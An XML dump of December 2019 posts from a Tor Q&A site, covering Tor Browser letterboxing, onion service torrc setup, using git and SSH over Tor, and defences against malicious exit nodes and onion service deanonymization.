  <row Id="20676" PostTypeId="2" ParentId="20674" CreationDate="2019-12-01T16:56:53.350" Score="1" Body="&lt;p&gt;Probably not. You need command line access to the operating system to be able to set up tor to work with your site. That's if they even have Tor installed. Neither is very likely.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-12-01T16:56:53.350" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20677" PostTypeId="1" CreationDate="2019-12-01T21:25:48.387" Score="3" ViewCount="1392" Body="&lt;p&gt;I'm trying to open a WebGL build with an integrated audio in it, basically a WebGL Unity build.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using 9.5 alpha release as the latest stable version doesn't allow wasm anyhow but now even though the WebGL build triggers it throws this error before initialising..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to enable the permission to use audio for the website as well but didn’t work.. I wonder would there be a way to overcome this last step?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="28250" LastActivityDate="2024-04-06T15:40:11.453" Title="'Web Audio API is not supported in this browser' error as a part of WebGL build" Tags="|onion-services|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20678" PostTypeId="1" CreationDate="2019-12-02T14:29:21.967" Score="0" ViewCount="232" Body="&lt;p&gt;I downloaded the Tor browser app. through Google play, is the app. safe and anonymous even though it's downloaded through Google?&lt;/p&gt;&#xA;" OwnerUserId="28253" LastActivityDate="2021-12-22T16:07:10.673" Title="Tor app. through Google Play" Tags="|security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20679" PostTypeId="2" ParentId="20678" CreationDate="2019-12-03T07:42:48.690" Score="0" Body="&lt;p&gt;If you ever have questions about what is legitimately Tor, check out &lt;a href=&quot;https://torproject.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://torproject.org&lt;/a&gt;. This is the team that actually makes the Tor browser ad the Tor network itself. Here is the page for &lt;a href=&quot;https://www.torproject.org/download/#android&quot; rel=&quot;nofollow noreferrer&quot;&gt;android&lt;/a&gt;. You can make sure that you are getting the real Tor Browser and not malware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tor developers stand by their work on Android the same as any other operating system. Of course, it is up to you to know how to keep yourself anonymous online. Software can only do so much.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastEditorUserId="23661" LastEditDate="2019-12-03T11:19:36.123" LastActivityDate="2019-12-03T11:19:36.123" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20681" PostTypeId="1" CreationDate="2019-12-03T18:19:05.407" Score="1" ViewCount="613" Body="&lt;p&gt;i am having a problem with the new gor upgrade.  i do too much work online to allow moving of the vertical scroll bar (off of the right border).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is there some way to turn that aspect off??  i will not upgrade with that item in place.  thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;incidently,  not sure how to contact torproject with questions.  the result of a chat attempt looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;TOR CHAT NA&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;[15:54] qwebirc v0.92&#xA;[15:54] Copyright (C) 2008-2012 Chris Porter and the qwebirc project.&#xA;[15:54] &lt;a href=&quot;http://www.qwebirc.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.qwebirc.org&lt;/a&gt;&#xA;[15:54] Licensed under the GNU General Public License, Version 2.&#xA;[15:54] == ERROR: Anonymous TOR usage is unavailable&lt;/p&gt;&#xA;&#xA;&lt;p&gt;pardon, i do not see a list of tags to choose from.  tag?:  new version, user setting PREFS, dead in the water / cannot use?  configuration?&#xA;maybe you can add a drop down box of tags?&lt;/p&gt;&#xA;" OwnerUserId="28261" LastEditorUserId="28261" LastEditDate="2019-12-03T18:30:22.017" LastActivityDate="2019-12-04T12:44:25.507" Title="NEW TOR VERSION problem" Tags="|tor-browser-bundle|configuration|update|" AnswerCount="1" CommentCount="2" ClosedDate="2019-12-23T07:23:29.007" ContentLicense="CC BY-SA 4.0" />
  <row Id="20682" PostTypeId="2" ParentId="20672" CreationDate="2019-12-03T22:01:47.180" Score="1" Body="&lt;p&gt;The only possible way to avoid malicious exit nodes with a 100% certainty is by whitelisting the exit nodes you know for sure are not malicious (i.e. those that are under your control). The way to do that is by adding the following line in the torrc file as described in &lt;a href=&quot;https://2019.www.torproject.org/docs/tor-manual.html.en#ExitNodes&quot; rel=&quot;nofollow noreferrer&quot;&gt;the manual&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExitNodes node1,node2,node3...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Otherwise, the risks of using a malicious exit node can be reduced by activating the &quot;Safest&quot; security mode on the Tor Browser (which disables Javascript) and accessing only HTTPS websites the private key of which is not under the control of the attacker (that probably excludes nation-state adversaries, who could have the means to convince Certification Authorities to share the intermediate certificates' private keys with them and generate their own &quot;valid&quot; SSL certificates).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is also advisable to use Tails or QubesOS disposable virtual machines to prevent the attacker from gaining persistence once the attack has been successful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Onion services, though, don't use exit nodes at all, as the mechanism to build the circuits to them is a slightly different:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It only relies on regular Tor Relays (See &lt;a href=&quot;https://2019.www.torproject.org/docs/onion-services.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Onion Services' docs&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;The circuits are encrypted end-to-end from your Tor process to the Onion services' Tor process&lt;/li&gt;&#xA;&lt;li&gt;The encryption is authenticated by design and doesn't depend on any third-party Certification Authorities, as the Onion addresses themselves &lt;strong&gt;are&lt;/strong&gt; a portion of the Onion service's hashed public key or even are the entire public key itself (v3 addresses, &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/rend-spec-v3.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;See section 1.2 of the spec&lt;/a&gt;).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This means that, with Onion services, a wannabe tamperer or eavesdropper only has three options:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Cracking the Onion service's private key&lt;/li&gt;&#xA;&lt;li&gt;Hacking the Onion service's server in order to get the private key&lt;/li&gt;&#xA;&lt;li&gt;Setting up a different Onion service as a proxy and convincing the world his Onion address is the genuine one.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It should be noted that, aside from the Exit Nodes, the services themselves -Onion or not- can be malicious too, so keeping the &quot;Safest&quot; security mode turned on is always a good practice.&lt;/p&gt;&#xA;" OwnerUserId="28263" LastEditorUserId="28263" LastEditDate="2019-12-04T16:13:20.883" LastActivityDate="2019-12-04T16:13:20.883" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="20683" PostTypeId="2" ParentId="20634" CreationDate="2019-12-04T00:34:06.723" Score="2" Body="&lt;p&gt;There are four methods of finding an Onion service's IP address:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Controlling all the relays in a circuit between the onion service and an introduction or a rendezvous point.&lt;/li&gt;&#xA;&lt;li&gt;Through information leaks.&lt;/li&gt;&#xA;&lt;li&gt;Hacking the server.&lt;/li&gt;&#xA;&lt;li&gt;Analyzing the traffic of the suspected server while sending a request or performing a Denial of Service attack.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The first method, although not impossible, is highly unlikely, as its difficulty grows proportionally to the number of nodes in the network. Nevertheless, the &lt;a href=&quot;https://blog.torproject.org/announcing-vanguards-add-onion-services&quot; rel=&quot;nofollow noreferrer&quot;&gt;Vanguards&lt;/a&gt; &lt;a href=&quot;https://github.com/mikeperry-tor/vanguards&quot; rel=&quot;nofollow noreferrer&quot;&gt;add-on&lt;/a&gt; has been developed to reduce that risk even further.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second method implies that the Onion service administrator has left identifying information that could be compared and/or indexed both on the darknet and the clearnet: if you find an Onion service with the same SSH fingerprint as a public server then they're most likely the same machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The third one is very similar to the second: once the attacker controls the server, he can get its MAC addresses, PCI serial numbers, etc. and track down who bought it or even find the administrator's IP address in the SSH access logs if he made a direct connection to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://www.whonix.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;Whonix&lt;/a&gt; Operating System does a decent job at mitigating these two. There's detailed info about them in the &lt;a href=&quot;https://www.whonix.org/wiki/Documentation&quot; rel=&quot;nofollow noreferrer&quot;&gt;Documentation&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The traffic analysis deanonymization could be mitigated by using &lt;a href=&quot;https://github.com/trimstray/multitor&quot; rel=&quot;nofollow noreferrer&quot;&gt;Multitor&lt;/a&gt; and/or &lt;a href=&quot;https://github.com/DonnchaC/onionbalance&quot; rel=&quot;nofollow noreferrer&quot;&gt;OnionBalance&lt;/a&gt; to distribute the requests through different servers in diferent locations and through different guard nodes, and using a &lt;a href=&quot;https://2019.www.torproject.org/docs/pluggable-transports.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;pluggable transport&lt;/a&gt; protocol that alters the number of sent bytes among them like OBFS4.&lt;/p&gt;&#xA;" OwnerUserId="28263" LastEditorUserId="28263" LastEditDate="2019-12-05T16:28:23.070" LastActivityDate="2019-12-05T16:28:23.070" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20684" PostTypeId="2" ParentId="20681" CreationDate="2019-12-04T12:44:25.507" Score="3" Body="&lt;p&gt;This new feature is called, &quot;Letterboxing&quot;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tor Browser, in its default mode, is starting with a content window&#xA;  rounded to a multiple of 200px x 100px to prevent fingerprinting the&#xA;  screen dimensions. The strategy here is to put all users in a couple&#xA;  of buckets to make it harder to single them out. That worked until&#xA;  users started to resize their windows (e.g. by maximizing them or&#xA;  going into fullscreen mode). Tor Browser 9 ships with a fingerprinting&#xA;  defense for those scenarios as well, which is called Letterboxing, a&#xA;  technique developed by Mozilla and presented earlier this year. It&#xA;  works by adding white margins to a browser window so that the window&#xA;  is as close as possible to the desired size while users are still in a&#xA;  couple of screen size buckets that prevent singling them out with the&#xA;  help of screen dimensions.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you don't want to use it, that's fine. Just be aware that using Tor Browser in fullscreen mode can help fingerprint you as a user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do you disable it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;go to about:config&lt;/p&gt;&#xA;&#xA;&lt;p&gt;change the &lt;strong&gt;privacy.resistFingerprinting.letterboxing&lt;/strong&gt; to false.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do you contact Tor Projects?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Links to the mailing lists and the IRC chat rooms are here: &lt;a href=&quot;https://www.torproject.org/contact/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/contact/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-12-04T12:44:25.507" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20685" PostTypeId="1" CreationDate="2019-12-04T16:20:05.940" Score="0" ViewCount="108" Body="&lt;p&gt;hi  thanks for the help..  i think i did look up question about having firefox but don't recall answer, for dealing with other security issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i notice recent hacks into firefox directory, affecting my pc so mentioning.&#xA;in regard, Question:  i only use tor, can i remove the firefox program?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;originally:  hit with some coin miner virus.  symptom: run away task manager &quot;CPU&quot; &amp;amp; &quot;Memory&quot; severe-fast cycle from some value to a max value on many tasks, then repeats the memory cycle over-over, and tm tray icon flash wild 90% use?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now hit periodically:  pups? unwanted progs in firefox directory, and tor locking up, so the same question:  to remove the firefox program?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i'm sure i will figure it out, just think firefox may be affecting tor security.  (note:  i did to some back-forth unloading a tor version, could not work with vertical scroll bar moved from right side).  i have found a way to automate the window setting to be further off right side so not have a mouse click problem there..  but would suggest allow tor window (if position saveable), to allow off right side size as some apps intermittently allow.&#xA;thanks.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i will be able to figure this out.  just trying to pay back help got.  all i got - thanks.&lt;/p&gt;&#xA;" OwnerUserId="28261" LastActivityDate="2021-12-24T08:05:10.517" Title="With Tor, do i keep firefox installation" Tags="|tor-browser-bundle|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20686" PostTypeId="1" CreationDate="2019-12-04T19:45:56.123" Score="0" ViewCount="30" Body="&lt;p&gt;Мой МФУ HP2520 перестал адекватно печатать, я так поняла это из-за того, что в МФУ двойная система контроля чернил и после перезаправки картриджа, обнулить картридж заклейкой контактов никак нельзя. Может быть есть какой-то другой способ снова привести его в строй? (Главная проблема в том, что бОльшую часть времени МФУ не печатает жёлтым). &#xA;Да, странное место для таких вопросов.&lt;/p&gt;&#xA;" OwnerUserId="28267" LastActivityDate="2019-12-05T05:45:36.747" Title="Help plz with Technics" Tags="|help|" AnswerCount="1" CommentCount="1" ClosedDate="2019-12-08T22:41:18.623" ContentLicense="CC BY-SA 4.0" />
  <row Id="20687" PostTypeId="2" ParentId="20674" CreationDate="2019-12-04T22:22:28.273" Score="0" Body="&lt;p&gt;No, but you can have the website and the Onion's Tor daemon on different servers and make the Onion daemon connect to your website. You can do that by putting the destination IP address and port in the HiddenServicePort config option on the torrc file, as described in the &lt;a href=&quot;https://2019.www.torproject.org/docs/tor-onion-service.html.en#two&quot; rel=&quot;nofollow noreferrer&quot;&gt;Onion service guide&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServicePort 80 198.51.100.1:8080&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am not sure whether domain names work instead of IP addresses but, in the case they don't, you can always set up a reverse proxy like Nginx on the same server as the Tor daemon to forward the requests without having to pay extra to your web hosting provider for a dedicated IP address.&lt;/p&gt;&#xA;" OwnerUserId="28263" LastActivityDate="2019-12-04T22:22:28.273" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20689" PostTypeId="2" ParentId="20686" CreationDate="2019-12-05T05:45:36.747" Score="1" Body="&lt;p&gt;This is not the place for printer conversation. Try the following:&#xA;&lt;a href=&quot;https://h30434.www3.hp.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://h30434.www3.hp.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Это не место для разговора о принтере. Попробуйте следующее&#xA;&lt;a href=&quot;https://h30434.www3.hp.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://h30434.www3.hp.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27488" LastActivityDate="2019-12-05T05:45:36.747" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20690" PostTypeId="2" ParentId="20685" CreationDate="2019-12-05T05:49:47.363" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://support.mozilla.org/en-US/kb/refresh-firefox-reset-add-ons-and-settings&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://support.mozilla.org/en-US/kb/refresh-firefox-reset-add-ons-and-settings&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Navigate browser to URL &quot;about:support&quot; and click &quot;Refresh&quot; at top right.&lt;/p&gt;&#xA;" OwnerUserId="27488" LastActivityDate="2019-12-05T05:49:47.363" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20691" PostTypeId="1" CreationDate="2019-12-05T23:07:38.143" Score="7" ViewCount="18449" Body="&lt;p&gt;In Tor, I see a border around every webpage. I think it might be to hide fingerprints, but it really annoys me. Is there any way I can remove it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Tor 9.0.2 on Windows 10&lt;/p&gt;&#xA;" OwnerUserId="28281" LastActivityDate="2023-02-06T12:39:29.037" Title="How can I disable the grey border?" Tags="|configuration|windows|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20692" PostTypeId="2" ParentId="20691" CreationDate="2019-12-06T08:11:15.243" Score="7" Body="&lt;p&gt;This new feature is called, &quot;Letterboxing&quot;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tor Browser, in its default mode, is starting with a content window&#xA;  rounded to a multiple of 200px x 100px to prevent fingerprinting the&#xA;  screen dimensions. The strategy here is to put all users in a couple&#xA;  of buckets to make it harder to single them out. That worked until&#xA;  users started to resize their windows (e.g. by maximizing them or&#xA;  going into fullscreen mode). Tor Browser 9 ships with a fingerprinting&#xA;  defense for those scenarios as well, which is called Letterboxing, a&#xA;  technique developed by Mozilla and presented earlier this year. It&#xA;  works by adding white margins to a browser window so that the window&#xA;  is as close as possible to the desired size while users are still in a&#xA;  couple of screen size buckets that prevent singling them out with the&#xA;  help of screen dimensions.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you don't want to use it, that's fine. Just be aware that using Tor Browser in fullscreen mode can help fingerprint you as a user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do you disable it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;go to about:config&lt;/p&gt;&#xA;&#xA;&lt;p&gt;change the &lt;strong&gt;privacy.resistFingerprinting.letterboxing&lt;/strong&gt; to false.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-12-06T08:11:15.243" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20693" PostTypeId="1" CreationDate="2019-12-07T01:56:03.683" Score="1" ViewCount="32" Body="&lt;p&gt;i put HiddenServiceDirectory C:\Users\pedro\Documents\tor\hidden_service HiddenServicePort 80 127.0.0.1:8080 into torrc on the right spot but it just tells me tor unexpectedly quit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if u know what to put on the torrc file for windows can u give me it in the answer so I can copy paste?&lt;/p&gt;&#xA;" OwnerUserId="28287" LastEditorUserId="28287" LastEditDate="2019-12-07T02:32:27.150" LastActivityDate="2019-12-07T02:32:27.150" Title="so torrc doesn't let me alter it" Tags="|windows|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20694" PostTypeId="1" AcceptedAnswerId="20695" CreationDate="2019-12-07T08:25:38.793" Score="5" ViewCount="598" Body="&lt;p&gt;I have recently set up an onion hidden service specifically to use it with git. I've used the method described in the answer for &lt;a href=&quot;https://tor.stackexchange.com/questions/4855/is-it-possible-to-have-a-hidden-git-service&quot;&gt;this&lt;/a&gt; question, however, I wasn't able to figure out the exact way to connect to the server, since neither ssh, nor git seem to support onion link format. Is there a way to connect to the git remote over tor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note:&lt;/em&gt;&#xA;Onion service itself is functional. Tor Browser has no issues connecting to the server. However, git and ssh return errors like: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bash: ssh://git.&amp;lt;myhiddenservice&amp;gt;.onion/git/: No such file or directory&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;fatal: repository 'git.&amp;lt;myhiddenservice&amp;gt;.onion/git/&amp;lt;myproject&amp;gt;.git' does not exist&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="28290" LastActivityDate="2021-02-21T02:26:08.777" Title="Is there a way to connect to a git remote located on the onion hidden service?" Tags="|onion-services|help|server|git|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20695" PostTypeId="2" ParentId="20694" CreationDate="2019-12-07T10:11:49.040" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/torsocks&quot; rel=&quot;nofollow noreferrer&quot;&gt;torsocks&lt;/a&gt; is the way to go. You may need to install it separately from Tor if it is not installed automatically.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Make sure Tor is running: &lt;code&gt;systemctl status tor&lt;/code&gt; &lt;/li&gt;&#xA;&lt;li&gt;Run your command through torsocks: &lt;code&gt;torsock git pull&lt;/code&gt; or &lt;code&gt;torsocks ssh abcxyz.onion&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Another option is to run &lt;code&gt;torsocks --shell&lt;/code&gt;. This will make all commands in that shell automatically run through Tor. This will end if you exit from the shell or close the terminal window.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-12-07T10:11:49.040" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20696" PostTypeId="1" CreationDate="2019-12-08T15:23:21.710" Score="0" ViewCount="312" Body="&lt;p&gt;I have a onion domain private key and registered a clearnet website hosting on namecheap.com &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I want to make the onion domain work like alias to the clearnet url like the Alias DNS record.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do that?&lt;/p&gt;&#xA;" OwnerUserId="28222" LastActivityDate="2021-08-30T21:05:05.450" Title="make a TOR url act like Alias in DNS" Tags="|onion-routing|dns|web-hosting|private-key|clear-net|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20697" PostTypeId="2" ParentId="20694" CreationDate="2019-12-08T16:05:34.930" Score="3" Body="&lt;p&gt;While marked answer is 100% correct I use a bit different approach. For ssh connections using OpenSSH client I utilze ProxyCommand for *.onion sites in the following way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Host *.onion&#xA;        ProxyCommand                    socat STDIO SOCKS4A:&amp;lt;tor socks hostname or IP&amp;gt;:%h:%p,socksport=9050&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should also be the only change needed for git ssh connections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a way it may or may not be a good thing: while using torsocks will force ALL connections (ie. to submodules) to go through TOR network, using proxy command above will only route hidden services through TOR. Please evaluate the risk before going this route.&lt;/p&gt;&#xA;" OwnerUserId="20437" LastActivityDate="2019-12-08T16:05:34.930" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20699" PostTypeId="2" ParentId="20696" CreationDate="2019-12-09T17:41:07.120" Score="1" Body="&lt;p&gt;onion names are not based on DNS and don't work like them, but there are things that you can do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is how I would do it. Just FYI, my example is based on Linux.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My website is simple. It is a simple http based site running on port 80. I enable and start apache on port 80 on my web server. I go to my cleanet dns provider and create an A record to point to my web server. mywebsite.com is now alive and I can reach it through the clearnet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next I install Tor on the web server. I edit /etc/tor/torrc to allow traffic on 80:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /var/lib/tor/hidden_service/&#xA;HiddenServicePort 80 127.0.0.1:80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After starting the Tor service, I have a new file, &quot;/var/lib/tor/hidden_service/hostname&quot; with my new onion service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I open Tor Browser and I first go to mywebsite.com and it still works. Then I go to mywebsiteabcxyz.onion and it also works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the easy way to do what you are asking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's there difficult part. What if you want more? What if you want https on your clearnet and onion service? What if you want a clustered server? What if you are using a load balancer? What if you want to work with vhosts? These things aren't documented well &lt;em&gt;yet&lt;/em&gt; and they may take trial and error to get working.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-12-09T17:41:07.120" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20701" PostTypeId="1" CreationDate="2019-12-10T21:08:24.647" Score="1" ViewCount="208" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Should the onion server (host) also create an .auth file for itself? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Suppose the onion server has authorized a client (i.e. the &quot;authorized_clients&quot; folder contains a &quot;.auth&quot; file. The onion service operator decides to revoke the access, so he deletes the &quot;.auth&quot; authorizer file. However, this assumes that the onion service does NOT disallow the client, but allows ANYONE to access it, doesn't it? Therefore, operators must be careful to create at least two authorizing files, to avoid that when deleting one, access to the site is free, without restrictions. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="15985" LastActivityDate="2022-01-06T07:01:05.107" Title="Two questions about ClientAuthorization (v3)" Tags="|server|server-administration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20703" PostTypeId="1" AcceptedAnswerId="21300" CreationDate="2019-12-11T05:19:04.420" Score="4" ViewCount="196" Body="&lt;p&gt;Are there any standards for mapping ICANN domains-world websites to &lt;code&gt;.onion&lt;/code&gt; addresses?&lt;/p&gt;&#xA;&lt;p&gt;I’m interested in any machine-readable methods that can be used to discover a &lt;code&gt;.com&lt;/code&gt;’s &lt;code&gt;.onion&lt;/code&gt; domain.&lt;/p&gt;&#xA;&lt;p&gt;E.g. is there a standard method to announce that &lt;code&gt;https://www.bbc.com/&lt;/code&gt; is also available at &lt;code&gt;https://www.bbcnewsv2vjtpsuy.onion/&lt;/code&gt;? Given the &lt;code&gt;.com&lt;/code&gt;, how would I auto-discover (and ideally verify) the &lt;code&gt;.onion&lt;/code&gt;? (This is obviously only applicable for real-world websites that offer a Tor hidden service mirror.)&lt;/p&gt;&#xA;&lt;p&gt;The only resource I’ve found is the short manually curated list in the &lt;a href=&quot;https://github.com/alecmuffett/real-world-onion-sites&quot; rel=&quot;nofollow noreferrer&quot;&gt;Real-World Onion Websites&lt;/a&gt; project.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://twitter.com/DaAleksandersen/status/1202901091152801792&quot; rel=&quot;nofollow noreferrer&quot;&gt;I’ve dreamed up&lt;/a&gt; a &lt;code&gt;/.well-known/mirrors.txt&lt;/code&gt; URI auto-discovery mechanism. That file would list all mirrors of a website. You could include your &lt;code&gt;.onion&lt;/code&gt; address and your &lt;code&gt;.com&lt;/code&gt; in that file. If the file is accessible from both location and contain each other than you’ve got a verified domain match between an &lt;code&gt;.onion&lt;/code&gt; and an ICANN domain.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc8164&quot; rel=&quot;nofollow noreferrer&quot;&gt;RFC 8164&lt;/a&gt; proposes something similar for auto-discovering HTTPS-support. The Dat protocol uses &lt;a href=&quot;https://github.com/datprotocol/DEPs/blob/aec2791218d806ceca5ada59ff55783fa6710f5f/proposals/0005-dns.md&quot; rel=&quot;nofollow noreferrer&quot;&gt;something similar too&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="25193" LastEditorUserId="-1" LastEditDate="2021-10-07T07:34:52.683" LastActivityDate="2020-06-09T22:55:41.537" Title="Standard way to map an ICANN domain to an .onion domain?" Tags="|onion-services|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20704" PostTypeId="1" AcceptedAnswerId="21166" CreationDate="2019-12-12T10:09:11.197" Score="0" ViewCount="399" Body="&lt;p&gt;How can I search in tor browser and get only .onion URLs?&lt;br&gt;Because right now it jut like a normal search engine but with hiddenwiki what makes it just a little bit better than Chrome.&lt;br&gt;&lt;/p&gt;&#xA;" OwnerUserId="28307" LastActivityDate="2020-05-05T06:37:06.187" Title="Special search in tor" Tags="|tor-browser-bundle|onion-routing|url|research|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20705" PostTypeId="2" ParentId="20704" CreationDate="2019-12-12T14:01:20.653" Score="1" Body="&lt;p&gt;Go to a search engine that searches onion services. You can find some &lt;a href=&quot;https://www.reddit.com/r/onions/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; or &lt;a href=&quot;https://github.com/alecmuffett/real-world-onion-sites&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. Once you find a search engine that you want to use, right-click on the search bar and choose &quot;add keyword for this search&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the exact same as Firefox. See &lt;a href=&quot;https://www.howtogeek.com/114176/how-to-easily-create-search-plugins-add-any-search-engine-to-your-browser/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this guide&lt;/a&gt; for more information.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-12-12T14:01:20.653" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
